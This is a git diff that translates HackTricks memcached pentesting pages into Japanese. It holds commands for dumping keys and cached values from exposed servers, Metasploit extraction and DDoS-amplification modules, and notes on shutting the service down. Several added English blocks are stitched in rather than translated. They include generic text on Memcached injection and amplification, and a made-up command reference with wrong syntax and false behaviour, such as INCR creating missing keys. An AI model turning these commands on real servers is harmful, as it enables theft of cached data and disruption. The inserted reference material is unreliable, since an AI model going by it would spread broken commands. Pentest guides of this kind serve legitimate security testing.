data** by **getting the key names** - -Remember that this service is just a **cache**, so **data may be appearing and disappearing**. +1. **アクティブなアイテム**を持つ**スラブ**を見つける +2. 前述のスラブの**キー名**を取得する +3. キー名を取得することで、保存されたデータを**抽出**する +このサービスは単なる**キャッシュ**であるため、**データは表示されたり消えたり**することに注意してください。 ```bash echo "version" | nc -vn -w 1 11211 #Get version echo "stats" | nc -vn -w 1 11211 #Get status @@ -48,36 +45,84 @@ echo "get " | nc -vn -w 1 11211 #Get saved info sudo apt-get install php-memcached php -r '$c = new Memcached(); $c->addServer("localhost", 11211); var_dump( $c->getAllKeys() );' ``` +# マニュアル2 -### Manual2 +このマニュアルでは、Memcachedサービスのペネトレーションテストについて説明します。 +## Memcachedとは? + +Memcachedは、高速なキャッシュシステムであり、データベースやAPIなどのバックエンドサービスの負荷を軽減するために使用されます。Memcachedは、キーと値のペアをメモリ内に格納し、高速なデータの読み書きを可能にします。 + +## Memcachedの脆弱性 + +Memcachedにはいくつかの脆弱性が存在します。以下にいくつかの一般的な脆弱性を示します。 + +1. デフォルトの設定では、Memcachedはネットワーク上のどのIPアドレスからでもアクセス可能です。これにより、悪意のあるユーザーがMemcachedにアクセスし、データを盗む可能性があります。 + +2. Memcachedはデフォルトで認証機能を持っていません。したがって、認証されていないユーザーがMemcachedにアクセスできる可能性があります。 + +3. MemcachedはデフォルトでUDPポート11211を使用します。UDPは信頼性が低く、パケットの改ざんやスプーフィングのリスクがあります。 + +## Memcachedのペネトレーションテスト + +Memcachedのペネトレーションテストでは、以下の手法を使用して脆弱性を特定します。 + +1. Memcachedのバージョン情報を取得するために、`stats`コマンドを使用します。 + +2. Memcachedに対してデータを送信し、その応答を監視することで、Memcachedの設定や構成を特定します。 + +3. Memcachedのデータをダンプするために、`stats cachedump`コマンドを使用します。 + +4. Memcachedのデータを改ざんするために、`set`コマンドを使用します。 + +5. Memcachedのデータを削除するために、`delete`コマンドを使用します。 + +6. Memcachedのサービスを停止するために、`shutdown`コマンドを使用します。 + +## まとめ + +Memcachedは高速なキャッシュシステムですが、デフォルトの設定ではセキュリティ上の脆弱性が存在します。ペネトレーションテストを実施することで、これらの脆弱性を特定し、適切な対策を講じることが重要です。 ```bash sudo apt install libmemcached-tools memcstat --servers=127.0.0.1 #Get stats memcdump --servers=127.0.0.1 #Get all items memccat --servers=127.0.0.1 #Get info inside the item(s) ``` +### 自動 -### Automatic +Memcached is an open-source, high-performance, distributed memory caching system. It is commonly used to speed up dynamic web applications by caching data and reducing the load on the database. +Memcached operates on a client-server model, where the client sends requests to the server to store or retrieve data. The server stores the data in memory, making it quickly accessible for future requests. + +Memcached uses a simple protocol for communication, making it easy to interact with programmatically. It supports various data types, including strings, integers, and arrays. + +When performing a penetration test on a system that uses Memcached, there are several techniques that can be used to exploit potential vulnerabilities. These include: + +- **Memcached Injection**: This technique involves injecting malicious commands into the Memcached server to execute arbitrary code or retrieve sensitive information. + +- **Memcached Amplification**: This technique involves sending a small request to the Memcached server, which in turn generates a large response. This can be used to launch a distributed denial-of-service (DDoS) attack by amplifying the traffic. + +- **Memcached Reflection**: This technique involves spoofing the source IP address and sending a request to the Memcached server, which then sends a response to the victim's IP address. This can be used to launch a DDoS attack by flooding the victim's network with traffic. + +To protect against these attacks, it is important to secure the Memcached server by implementing proper access controls, such as firewall rules and authentication mechanisms. Additionally, it is recommended to keep the Memcached server updated with the latest security patches. + +Overall, understanding the vulnerabilities and exploitation techniques associated with Memcached can help in identifying and mitigating potential risks in a system. ```bash nmap -n -sV --script memcached-info -p 11211 #Just gather info msf > use auxiliary/gather/memcached_extractor #Extracts saved data -msf > use auxiliary/scanner/memcached/memcached_amp #Check is UDP DDoS amplification attack is possible +msf > use auxiliary/scanner/memcached/memcached_amp #Check is UDP DDoS amplification attack is possible ``` +## Memcacheキーのダンプ -## Dumping Memcache Keys +**もしもあなたのmemcachedのバージョンが1.4.31より上である場合は、キーをダンプするための高度な方法について次のセクションを読んでください。** -**If your memcached version is above 1.4.31, read next section for advanced method of dumping keys.** +memcacheプロトコルは、スラブ(特定のサイズ範囲のデータのカテゴリ)で組織されたデータを覗き見るための[コマンド](https://lzone.de/articles/memcached.htm)を提供しています。ただし、いくつかの重要な制限があります: -The memcache protocol provides [commands](https://lzone.de/articles/memcached.htm) to peek into the data that is organized by slabs (categories of data of a given size range). There are some significant limitations though: - -1. You can only dump keys per slab class (keys with roughly the same content size) -2. You can only dump one page per slab class (1MB of data) -3. This is an unofficial feature that [might be removed anytime.](https://groups.google.com/forum/?fromgroups=#!topic/memcached/1-T8I-RVGKM) - -The second limitation is probably the hardest because 1MB of several gigabytes is almost nothing. Still it can be useful to watch how you use a subset of your keys. But this might depend on your use case. If you don’t care about the technical details just skip to the [tools section](https://lzone.de/cheat-sheet/memcached#tools) to learn about what tools allow you to easily dump everything. Alternatively follow the following guide and try the commands [using telnet](https://lzone.de/articles/memcached.htm) against your memcached setup. **How it Works** First you need to know how memcache organizes its memory. If you start memcache with option “-vv” you see the slab classes it creates. For example +1. スラブクラスごとにキーをダンプすることしかできません(おおよそ同じコンテンツサイズを持つキー) +2. スラブクラスごとに1ページしかダンプできません(1MBのデータ) +3. これは非公式の機能であり、[いつでも削除される可能性があります。](https://groups.google.com/forum/?fromgroups=#!topic/memcached/1-T8I-RVGKM) +2番目の制限はおそらく最も厳しいものであり、数ギガバイトの1MBはほとんど何もありません。それでも、キーのサブセットの使用方法を確認するのに役立つ場合があります。ただし、これは使用ケースに依存するかもしれません。技術的な詳細に興味がない場合は、[ツールセクション](https://lzone.de/cheat-sheet/memcached#tools)にスキップして、簡単にすべてをダンプできるツールについて学びます。または、以下のガイドに従って、telnetを使用してメモキャッシュのセットアップに対してコマンドを試してみてください。 **動作原理** まず、memcacheがメモリをどのように組織しているかを知る必要があります。オプション「-vv」でmemcacheを起動すると、作成されるスラブクラスが表示されます。例えば、 ``` $ memcached -vv slab class 1: chunk size 96 perslab 10922 @@ -86,23 +131,17 @@ slab class 3: chunk size 152 perslab 6898 slab class 4: chunk size 192 perslab 5461 [...] ``` - -In the configuration printed above memcache will keep fit 6898 pieces of data between 121 and 152 byte in a single slab of 1MB size (6898\*152). All slabs are sized as 1MB per default. Use the following command to print all currently existing slabs: - +上記の設定では、memcacheは1MBのサイズの単一のスラブ(デフォルトで1MB)に121〜152バイトのデータを6898個保持します(6898\*152)。現在存在するすべてのスラブを表示するには、次のコマンドを使用してください: ``` stats slabs ``` - -If you’ve added a single key to an empty memcached 1.4.13 with - +もしmemcached 1.4.13に空の状態で単一のキーを追加した場合、 ``` set mykey 0 60 1 1 STORED ``` - -you’ll now see the following result for the “stats slabs” command: - +次に、「stats slabs」というコマンドの結果が表示されます。 ``` stats slabs STAT 1:chunk_size 96 @@ -125,9 +164,7 @@ STAT active_slabs 1 STAT total_malloced 1048512 END ``` - -The example shows that we have only one active slab type #1. Our key being just one byte large fits into this as the smallest possible chunk size. The slab statistics show that currently on one page of the slab class exists and that only one chunk is used. **Most importantly it shows a counter for each write operation (set, incr, decr, cas, touch) and one for gets. Using those you can determine a hit ratio!** You can also fetch another set of infos using “stats items” with interesting counters concerning evictions and out of memory counters. - +例では、アクティブなスラブタイプ#1が1つだけあることが示されています。私たちのキーはわずか1バイトの大きさであり、これは最小の可能なチャンクサイズに収まります。スラブの統計情報によると、現在スラブクラスのページは1つしか存在せず、チャンクも1つしか使用されていません。**最も重要なことは、各書き込み操作(set、incr、decr、cas、touch)とgetのためのカウンターが表示され、それらを使用してヒット率を判断できることです!**また、「stats items」を使用して、エビクションとメモリ不足のカウンターに関する興味深いカウンターの別のセットを取得することもできます。 ``` stats items STAT items:1:number 1 @@ -142,46 +179,38 @@ STAT items:1:expired_unfetched 0 STAT items:1:evicted_unfetched 0 END ``` +**すでに推測できること...** スラブクラスごとの統計情報を考慮すると、アプリケーションの動作について多くのことを推測することができます: -**What We Can Guess Already…** Given the statistics infos per slabs class we can already guess a lot of thing about the application behaviour: - -1. How is the cache ratio for different content sizes? - * How good is the caching of large HTML chunks? -2. How much memory do we spend on different content sizes? - * How much do we spend on simple numeric counters? - * How much do we spend on our session data? - * How much do we spend on large HTML chunks? -3. How many large objects can we cache at all? - -Of course to answer the questions you need to know about the cache objects of your application. **Now: How to Dump Keys?** Keys can be dumped per slabs class using the “stats cachedump” command. +1. 異なるコンテンツサイズに対するキャッシュの比率はどうですか? +* 大きなHTMLチャンクのキャッシュはどれくらい効果的ですか? +2. 異なるコンテンツサイズにどれくらいのメモリを使用していますか? +* 単純な数値カウンターにどれくらいのメモリを使用していますか? +* セッションデータにどれくらいのメモリを使用していますか? +* 大きなHTMLチャンクにどれくらいのメモリを使用していますか? +3. すべての大きなオブジェクトをキャッシュできますか? +もちろん、これらの質問に答えるためには、アプリケーションのキャッシュオブジェクトについて知る必要があります。**では、キーをダンプする方法は?** キーは、「stats cachedump」コマンドを使用してスラブクラスごとにダンプすることができます。 ``` stats cachedump ``` - -To dump our single key in class #1 run - +クラス#1で単一のキーをダンプするには、次のコマンドを実行します。 ``` stats cachedump 1 1000 ITEM mykey [1 b; 1350677968 s] END ``` - -The “cachedump” returns one item per line. The first number in the braces gives the size in bytes, the second the timestamp of the creation. Given the key name you can now also dump its value using - +「cachedump」は1行ごとに1つのアイテムを返します。中括弧内の最初の数字はバイト単位のサイズを示し、2番目の数字は作成時のタイムスタンプです。キー名がわかっている場合、その値をダンプすることもできます。 ``` get mykey VALUE mykey 0 1 1 END ``` +これで終わりです:必要なすべてのスラブクラスを反復処理し、キー名を抽出し、必要な場合は内容をダンプします。 -This is it: iterate over all slabs classes you want, extract the key names and if need dump there contents. - -### **DUMPING MEMCACHE KEYS (VER 1.4.31+)** - -In memcache version 1.4.31 and above there is a new command for dumping memory keys in non-blocking mode (read https://github.com/memcached/memcached/wiki/ReleaseNotes1431 ). This method is safe to run in production. The output is not consistent, but good enough for finding keys, their exact expiration time (EXP) and last accessed time (LA). Because of huge output generated, it’s recommended to use ‘nc’ command. Examples: +### **MEMCACHEキーのダンプ(バージョン1.4.31以上)** +memcacheバージョン1.4.31以上では、メモリキーをノンブロッキングモードでダンプするための新しいコマンドがあります(https://github.com/memcached/memcached/wiki/ReleaseNotes1431を参照)。この方法は、本番環境で安全に実行できます。出力は一貫性がありませんが、キーとその正確な有効期限(EXP)および最終アクセス時刻(LA)を見つけるのに十分です。生成される出力が非常に大きいため、「nc」コマンドを使用することを推奨します。例: ``` echo 'lru_crawler metadump all' | nc 127.0.0.1 11211 | head -1 key=0dLLX%253Amemcache_test_key exp=1590718787 la=1590718487 cas=2238881166 fetch=yes @@ -190,53 +219,50 @@ echo 'lru_crawler metadump all' | nc 127.0.0.1 11211 | grep ee6ba58566e234ccbbce key=VQRFX%253Aee6ba58566e234ccbbce13f9a24f9a28 exp=-1 la=1590386157 cas=1776204003 fetch=yes key=0dLLX%253Aee6ba58566e234ccbbce13f9a24f9a28 exp=-1 la=1590712292 cas=2225524871 fetch=yes ``` +EXP=-1はアイテムが期限切れにならないことを意味します。EXP=1590718787(2020年5月29日02:19:47 GMT)は、アイテムの期限が切れるべきUNIXタイムスタンプを保持します。LA=1590712292(2020年5月25日05:55:57 GMT)は、アイテムが最後にアクセスされたUNIXタイムスタンプを保持します。 -EXP=-1 means the item never expires EXP=1590718787 (Fri May 29 02:19:47 GMT 2020) keeps the unix timestamp when the item should expire LA=1590712292 (Mon May 25 05:55:57 GMT 2020) keeps the unix timestamp when the item was last accessed +### **ダンピングツール** -### **DUMPING TOOLS** +印刷メモリキーをサポートするさまざまなダンピングツール(スクリプト)があります。 -There are different dumping tools sometimes just scripts out there that help you with printing memcache keys: - -| Programming Languages | Tools | Functionality | | | +| プログラミング言語 | ツール | 機能 | | | | --------------------- | ---------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------- | ------- | -| PHP | [simple script](http://snipt.org/xtP) | Prints key names. | | | -| Perl | [simple script](https://wiki.jasig.org/download/attachments/13572172/memcached-clean.pl?version=1\&modificationDate=1229693957401) | Prints keys and values | | | -| Ruby | [simple script](https://gist.github.com/1365005) | Prints key names. | | | -| Perl | [memdump](https://search.cpan.org/\~dmaki/Memcached-libmemcached-0.4202/src/libmemcached/docs/memdump.pod) | Tool in CPAN module | [Memcached-libmemcached](https://search.cpan.org/\~dmaki/Memcached-libmemc) | ached/) | -| PHP | [memcache.php](http://livebookmark.net/journal/2008/05/21/memcachephp-stats-like-apcphp/) | Memcache Monitoring GUI that also allows dumping keys | | | -| libmemcached | [peep](http://blog.evanweaver.com/2009/04/20/peeping-into-memcached/) | **Does freeze your memcached process!!!** Be careful when using this in production. Still using it you can workaround the 1MB limitation and really dump **all** keys. | | | +| PHP | [シンプルなスクリプト](http://snipt.org/xtP) | キー名を印刷します。 | | | +| Perl | [シンプルなスクリプト](https://wiki.jasig.org/download/attachments/13572172/memcached-clean.pl?version=1\&modificationDate=1229693957401) | キーと値を印刷します。 | | | +| Ruby | [シンプルなスクリプト](https://gist.github.com/1365005) | キー名を印刷します。 | | | +| Perl | [memdump](https://search.cpan.org/\~dmaki/Memcached-libmemcached-0.4202/src/libmemcached/docs/memdump.pod) | CPANモジュールのツール | [Memcached-libmemcached](https://search.cpan.org/\~dmaki/Memcached-libmemc) | ached/) | +| PHP | [memcache.php](http://livebookmark.net/journal/2008/05/21/memcachephp-stats-like-apcphp/) | キーをダンプすることも可能なMemcacheモニタリングGUI | | | +| libmemcached | [peep](http://blog.evanweaver.com/2009/04/20/peeping-into-memcached/) | **メモリキャッシュプロセスを凍結します!** 本番環境で使用する際は注意してください。それでも、1MBの制限を回避し、**すべて**のキーを本当にダンプすることができます。 | | | -## Troubleshooting +## トラブルシューティング -### 1MB Data Limit +### 1MBデータ制限 -Note that prio to memcached 1.4 you cannot store objects larger than 1MB due to the default maximum slab size. +デフォルトの最大スラブサイズにより、memcached 1.4以前では1MBを超えるオブジェクトを保存することはできません。 -### Never Set a Timeout > 30 Days! +### タイムアウトを30日以上に設定しないでください! -If you try to “set” or “add” a key with a timeout bigger than the allowed maximum you might not get what you expect because memcached then treats the value as a Unix timestamp. Also if the timestamp is in the past it will do nothing at all. Your command will silently fail. - -So if you want to use the maximum lifetime specify 2592000. Example: +許可される最大値よりも大きなタイムアウトでキーを「set」または「add」しようとすると、memcachedは値をUNIXタイムスタンプとして扱います。また、タイムスタンプが過去の場合は何もしません。コマンドは黙って失敗します。 +したがって、最大の有効期間を使用する場合は2592000を指定してください。例: ``` set my_key 0 2592000 1 1 ``` +### オーバーフロー時のキーの消失 -### Disappearing Keys on Overflow +ドキュメントには、64ビットを超える値のオーバーフローによって「incr」を使用して値が消えると記載されています。再度「add」/「set」を使用して作成する必要があります。 -Despite the documentation saying something about wrapping around 64bit overflowing a value using “incr” causes the value to disappear. It needs to be created using “add”/”set” again. +### レプリケーション -### Replication +memcached自体はレプリケーションをサポートしていません。本当に必要な場合は、サードパーティのソリューションを使用する必要があります: -memcached itself does not support replication. If you really need it you need to use 3rd party solutions: +* [repcached](http://repcached.lab.klab.org/):マルチマスター非同期レプリケーション(memcached 1.2パッチセット) +* [Couchbase memcached interface](http://www.couchbase.com/memcached):CouchBaseをmemcachedの代替として使用する +* [yrmcds](https://cybozu.github.io/yrmcds/):memcached互換のマスタースレーブキーバリューストア +* [twemproxy](https://github.com/twitter/twemproxy)(別名nutcracker):memcachedサポートを持つプロキシ -* [repcached](http://repcached.lab.klab.org/): Multi-master async replication (memcached 1.2 patch set) -* [Couchbase memcached interface](http://www.couchbase.com/memcached): Use CouchBase as memcached drop-in -* [yrmcds](https://cybozu.github.io/yrmcds/): memcached compatible Master-Slave key value store -* [twemproxy](https://github.com/twitter/twemproxy) (aka nutcracker): proxy with memcached support - -### Commands Cheat-Sheet +### コマンドのチートシート {% content-ref url="memcache-commands.md" %} [memcache-commands.md](memcache-commands.md) @@ -247,7 +273,7 @@ memcached itself does not support replication. If you really need it you need to * `port:11211 "STAT pid"` * `"STAT pid"` -## References +## 参考文献 * [https://lzone.de/cheat-sheet/memcached](https://lzone.de/cheat-sheet/memcached) @@ -255,10 +281,10 @@ memcached itself does not support replication. If you really need it you need to ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 +* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。 diff --git a/network-services-pentesting/11211-memcache/memcache-commands.md b/network-services-pentesting/11211-memcache/memcache-commands.md index 6d2a88e51..0ee6d14c8 100644 --- a/network-services-pentesting/11211-memcache/memcache-commands.md +++ b/network-services-pentesting/11211-memcache/memcache-commands.md @@ -1,62 +1,59 @@ -# Memcache Commands +# Memcacheコマンド
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-## Commands Cheat-Sheet +## コマンドのチートシート **From** [**https://lzone.de/cheat-sheet/memcached**](https://lzone.de/cheat-sheet/memcached)\*\*\*\* -The supported commands (the official ones and some unofficial) are documented in the [doc/protocol.txt](https://github.com/memcached/memcached/blob/master/doc/protocol.txt) document. +サポートされているコマンド(公式のものと非公式のもの)は、[doc/protocol.txt](https://github.com/memcached/memcached/blob/master/doc/protocol.txt)ドキュメントに記載されています。 -Sadly the syntax description isn’t really clear and a simple help command listing the existing commands would be much better. Here is an overview of the commands you can find in the [source](https://github.com/memcached/memcached) (as of 19.08.2016): +残念ながら、構文の説明は実際には明確ではなく、既存のコマンドをリストアップする単純なヘルプコマンドの方がはるかに良いでしょう。以下は、[source](https://github.com/memcached/memcached)(2016年8月19日現在)で見つけることができるコマンドの概要です: -| Command | Description | Example | -| --------------------- | --------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| get | Reads a value | `get mykey` | -| set | Set a key unconditionally |

set mykey <flags> <ttl> <size>

<p>Ensure to use \r\n als line breaks when using Unix CLI tools. For example</p> printf "set mykey 0 60 4\r\ndata\r\n" | nc localhost 11211

| -| add | Add a new key | `add newkey 0 60 5` | -| replace | Overwrite existing key | `replace key 0 60 5` | -| append | Append data to existing key | `append key 0 60 15` | -| prepend | Prepend data to existing key | `prepend key 0 60 15` | -| incr | Increments numerical key value by given number | `incr mykey 2` | -| decr | Decrements numerical key value by given number | `decr mykey 5` | -| delete | Deletes an existing key | `delete mykey` | -| flush\_all | Invalidate all items immediately | `flush_all` | -| flush\_all | Invalidate all items in n seconds | `flush_all 900` | -| stats | Prints general statistics | `stats` | -| | Prints memory statistics | `stats slabs` | -| | Print higher level allocation statistics | `stats malloc` | -| | Print info on items | `stats items` | +| コマンド | 説明 | 例 | +| --------------------- | --------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| get | 値を読み取る | `get mykey` | +| set | キーを無条件で設定する |

set mykey <flags> <ttl> <size>

<p>Unix CLIツールを使用する場合は、改行として\r\nを使用してください。例えば</p> printf "set mykey 0 60 4\r\ndata\r\n" | nc localhost 11211

| +| add | 新しいキーを追加する | `add newkey 0 60 5` | +| replace | 既存のキーを上書きする | `replace key 0 60 5` | +| append | 既存のキーにデータを追加する | `append key 0 60 15` | +| prepend | 既存のキーにデータを先頭に追加する | `prepend key 0 60 15` | +| incr | 数値キーの値を指定された数値だけ増やす | `incr mykey 2` | +| decr | 数値キーの値を指定された数値だけ減らす | `decr mykey 5` | +| delete | 既存のキーを削除する | `delete mykey` | +| flush\_all | すべてのアイテムを即座に無効にする | `flush_all` | +| flush\_all | n秒後にすべてのアイテムを無効にする | `flush_all 900` | +| stats | 一般的な統計情報を表示する | `stats` | +| | メモリの統計情報を表示する | `stats slabs` | +| | より高いレベルの割り当て統計情報を表示する | `stats malloc` | +| | アイテムに関する情報を表示する | `stats items` | | | | `stats detail` | | | | `stats sizes` | -| | Resets statistics counters | `stats reset` | -| lru\_crawler metadump | Dump (most of) the metadata for (all of) the items in the cache | `lru_crawler metadump all` | -| version | Prints server version. | `version` | -| verbosity | Increases log level | `verbosity` | -| quit | Terminate session | `quit` | +| | 統計カウンターをリセットする | `stats reset` | +| lru\_crawler metadump | キャッシュ内のアイテムの(ほとんどの)メタデータをダンプする | `lru_crawler metadump all` | +| version | サーバーのバージョンを表示する。 | `version` | +| verbosity | ログレベルを上げる | `verbosity` | +| quit | セッションを終了する | `quit` | -#### Traffic Statistics - -You can query the current traffic statistics using the command +#### トラフィック統計 +現在のトラフィック統計を問い合わせることができます。 ``` stats ``` +以下は、接続数、送受信バイト数などを表示するリストです。 -You will get a listing which serves the number of connections, bytes in/out and much more. - -Example Output: - +出力例: ``` STAT pid 14868 STAT uptime 175931 @@ -82,17 +79,129 @@ STAT limit_maxbytes 52428800 STAT threads 1 END ``` +#### メモリ統計 -#### Memory Statistics - -You can query the current memory statistics using - +現在のメモリ統計をクエリで取得することができます。 ``` stats slabs ``` +# memcache-commands -Example Output: +## Introduction +Memcache is a widely used distributed memory caching system. It is commonly used to speed up dynamic database-driven websites by caching data and objects in memory to reduce the number of times an external data source (such as a database or API) needs to be accessed. + +## Basic Commands + +### SET + +The `SET` command is used to store a value in the cache. It takes three arguments: the key, the value, and an optional expiration time in seconds. + +```bash +SET key value [expiration] +``` + +### GET + +The `GET` command is used to retrieve a value from the cache. It takes one argument: the key. + +```bash +GET key +``` + +### DELETE + +The `DELETE` command is used to remove a value from the cache. It takes one argument: the key. + +```bash +DELETE key +``` + +### FLUSH_ALL + +The `FLUSH_ALL` command is used to remove all values from the cache. + +```bash +FLUSH_ALL +``` + +## Advanced Commands + +### INCR + +The `INCR` command is used to increment the value of a key by a specified amount. If the key does not exist, it is created with an initial value of 0. + +```bash +INCR key amount +``` + +### DECR + +The `DECR` command is used to decrement the value of a key by a specified amount. If the key does not exist, it is created with an initial value of 0. + +```bash +DECR key amount +``` + +### APPEND + +The `APPEND` command is used to append a value to the existing value of a key. + +```bash +APPEND key value +``` + +### PREPEND + +The `PREPEND` command is used to prepend a value to the existing value of a key. + +```bash +PREPEND key value +``` + +### CAS + +The `CAS` command is used to perform a "check and set" operation. It allows you to update a value only if it has not been modified by another client since you last retrieved it. + +```bash +CAS key value cas_unique_id [expiration] +``` + +### STATS + +The `STATS` command is used to retrieve statistics about the memcache server. + +```bash +STATS +``` + +### VERSION + +The `VERSION` command is used to retrieve the version of the memcache server. + +```bash +VERSION +``` + +### FLUSH_ALL + +The `FLUSH_ALL` command is used to remove all values from the cache. + +```bash +FLUSH_ALL +``` + +### QUIT + +The `QUIT` command is used to close the connection to the memcache server. + +```bash +QUIT +``` + +## Conclusion + +These are some of the most commonly used commands in memcache. Understanding how to use these commands effectively can greatly enhance your ability to work with memcache and optimize the performance of your applications. ``` STAT 1:chunk_size 80 STAT 1:chunks_per_page 13107 @@ -113,19 +222,34 @@ STAT active_slabs 3 STAT total_malloced 3145436 END ``` +もし、メモリキャッシュのインスタンスに十分なメモリがあるかどうか確信が持てない場合は、"stats"コマンドで表示される"evictions"カウンターに注意してください。インスタンスに十分なメモリがある場合、"evictions"カウンターは0または増加していないはずです。 -If you are unsure if you have enough memory for your memcached instance always look out for the “evictions” counters given by the “stats” command. If you have enough memory for the instance the “evictions” counter should be 0 or at least not increasing. - -#### Which Keys Are Used? - -There is no builtin function to directly determine the current set of keys. However you can use the +#### 使用されているキーはどれですか? +現在のキーのセットを直接確認するための組み込み関数はありません。ただし、以下のコマンドを使用して、使用されているキーを推測することができます。 ``` stats items ``` +## Command to Determine How Many Keys Exist -command to determine how many keys do exist. +To determine the number of keys that exist in a Memcache server, you can use the `stats` command. This command provides statistics about the server, including the total number of keys stored. +To execute the command, follow these steps: + +1. Connect to the Memcache server using a Memcache client. +2. Send the `stats` command to the server. +3. Parse the response to extract the value of the `total_items` statistic. + +Here is an example of how to execute the command using Telnet: + +```bash +$ telnet 11211 +stats +``` + +The server will respond with a list of statistics. Look for the `total_items` statistic and note its value. This value represents the total number of keys stored in the Memcache server. + +Keep in mind that the `stats` command provides various other statistics as well, which can be useful for monitoring and troubleshooting purposes. ``` stats items STAT items:1:number 220 @@ -135,17 +259,16 @@ STAT items:2:age 1405 [...] END ``` - -This at least helps to see if any keys are used. To dump the key names from a PHP script that already does the memcache access you can use the PHP code from [100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html). +これにより、使用されているキーを確認することができます。既にmemcacheアクセスを行っているPHPスクリプトからキー名をダンプするには、[100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html)のPHPコードを使用できます。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud 